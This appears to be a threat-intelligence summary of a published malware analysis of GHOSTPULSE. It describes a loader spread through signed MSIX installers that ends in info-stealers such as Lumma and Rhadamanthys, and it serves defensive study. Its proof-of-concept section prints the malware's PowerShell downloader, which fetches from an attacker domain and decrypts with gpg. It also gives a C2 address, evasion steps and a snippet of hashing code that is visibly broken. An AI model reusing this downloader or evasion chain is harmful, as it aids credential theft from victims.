# GHOSTPULSE haunts victims using defense evasion bag o' tricks

Signed malicious MSIX installers drop a PowerShell stage that decrypts and sideloads GHOSTPULSE, which injects info stealers like Rhadamanthys and Lumma into victims.

- Payout: Real-world hack
- Analysis by: Salim Bitam, Joe Desimone
- Disclosed: 2023-10-27
- Write-up quality: 7/10
- Original: https://www.elastic.co/security-labs/threat-command/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks
- Library page: https://bugbountylibrary.com/r/blog%3Aelastic-co-security-labs-threat-command-ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks
- Tags: area:os domain:desktop impact:data-leak impact:integrity kind:incident platform:threat-intel tech:windows technique:chained technique:reverse-engineering technique:source-review vuln:misconfiguration

**Target:** Windows endpoint via signed MSIX packages and sideloaded DLL
**Root cause:** Malicious MSIX packages signed with purchased/stolen certificates run a PowerShell script that GPG-decrypts a tar archive containing a renamed signed gup.exe (VBoxSVC.exe) which sideloads a trojanized libcurl.dll; GHOSTPULSE then decrypts chunks from handoff.wav and module-stomps shellcode into mshtml.dll.
**Steps:**
1. Victim downloads signed MSIX (Chrome/Brave/Edge/WebEx theme) via SEO/malvertising; Install button runs silently
2. PowerShell stage downloads `https://manojsinghnegi[.]com/2.tar.gpg` and decrypts with bundled gpg.exe: `echo 'putin' | .$env:APPDATA\gpg.exe --batch --yes --passphrase-fd 0 --decrypt --output $env:APPDATA\$xxx.rar $env:APPDATA\$xxx.gpg`
3. Extracted VBoxSVC.exe (renamed signed gup.exe) sideloads malicious libcurl.dll from current directory
4. Stage 1 parses PEB InLoadOrderModuleList, builds hashed IAT, reads handoff.wav, extracts IDAT-tagged chunks, XOR-decrypts with 4-byte key, decompresses via RtlDecompressBuffer
5. Stage 1 module-stomps Stage 2 shellcode into mshtml.dll .text via VirtualProtect
6. Stage 2 builds CRC32-hashed IAT, reads ntdll from disk for direct syscalls, writes XOR-encrypted sub-blob (key = CRC32(computername) ^ 0xA1B2D3B4) to temp, spawns suspended cmd.exe, maps section into mshtml.dll, redirects thread via Wow64SetThreadContext
7. Stage 3 reads env var pointing to temp file, decrypts config+payload with 200-byte XOR key, performs Process Doppelgänging (CreateTransaction, ZwCreateFile, ZwWriteFile, ZwCreateSection, RollbackTransaction, ZwMapViewOfSection, NtSetContextThread, NtResumeThread) into msbuild.exe
8. Final payload (SectopRAT/Rhadamanthys/Vidar/Lumma/NetSupport) executes; SectopRAT fetches C2 from Pastebin (195.201.198[.]179:15647)
**How found:** Malware analysis: researchers unpacked signed MSIX samples, traced the PowerShell GPG decryption, reverse-engineered the IDAT chunk parser in handoff.wav, reconstructed IAT hashing (0x1003F and CRC32), and observed VirtualProtect/module-stomping and doppelgänging API sequences.
**Exploitation:** Signed MSIX packages with legitimate-looking installers trick users into silent execution; the multi-stage loader evades AV/EDR via encryption, API hashing, direct syscalls, module stomping and process doppelgänging, ending in info-stealer deployment for credential/data theft.
**Escalation:** Optional persistence via .lnk to Stage 1 binary using COM objects; configurable Wow64FsRedirection disabling and heaven's gate for further evasion.
**Insight:** Attackers abuse the MSIX/App Installer trust model plus signed-but-renamed updater binaries (gup.exe) for sideloading; defenders should flag signed binaries loading unsigned DLLs from user-writable paths and IDAT-chunked files masquerading as media.

## Proof of concept (copied exactly from the original report)

**PowerShell downloader and GPG decrypt commands**

```
$url = "https://manojsinghnegi[.]com/2.tar.gpg"
$outputPath = "$env:APPDATA\$xxx.gpg"
Invoke-WebRequest -Uri $url -OutFile $outputPath

# 1
echo 'putin' | .$env:APPDATA\gpg.exe --batch --yes --passphrase-fd 0 --decrypt --output $env:APPDATA\$xxx.rar $env:APPDATA\$xxx.gpg
```

**Stage 1 API name hashing algorithm**

```
def calculate_api_name_hash(api_name):
 value = 0
 for char in input_string:
 total = (ord(char) + value *0x1003F)&0xFFFFFFFF
```

**IDAT chunk structures for encrypted blob**

```
struct initial_idat_chunk
{
 DWORD size_of_chunk;
 DWORD IDAT_string;
 DWORD tag;
 DWORD xor_key;
 DWORD size_of_encrypted_blob;
 _BYTE first_chunk[];
};

- size_of_chunk: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT.

- xor_key: A 4-byte long XOR key employed for decrypting the consolidated encrypted blob after extraction

- size_of_encrypted_blob: Denotes the overall size of the encrypted blob, which is stored in chunks within the file

- first_chunk: Marks the start of the first chunk of data in memory

In the second step, the malware locates the next occurrence of IDAT and proceeds to extract the encrypted chunks that follow it which has the following format:

struct next_idat_chunk
{
DWORD size_of_chunk;
DWORD IDAT_string;
_BYTE n_chunk[];
```

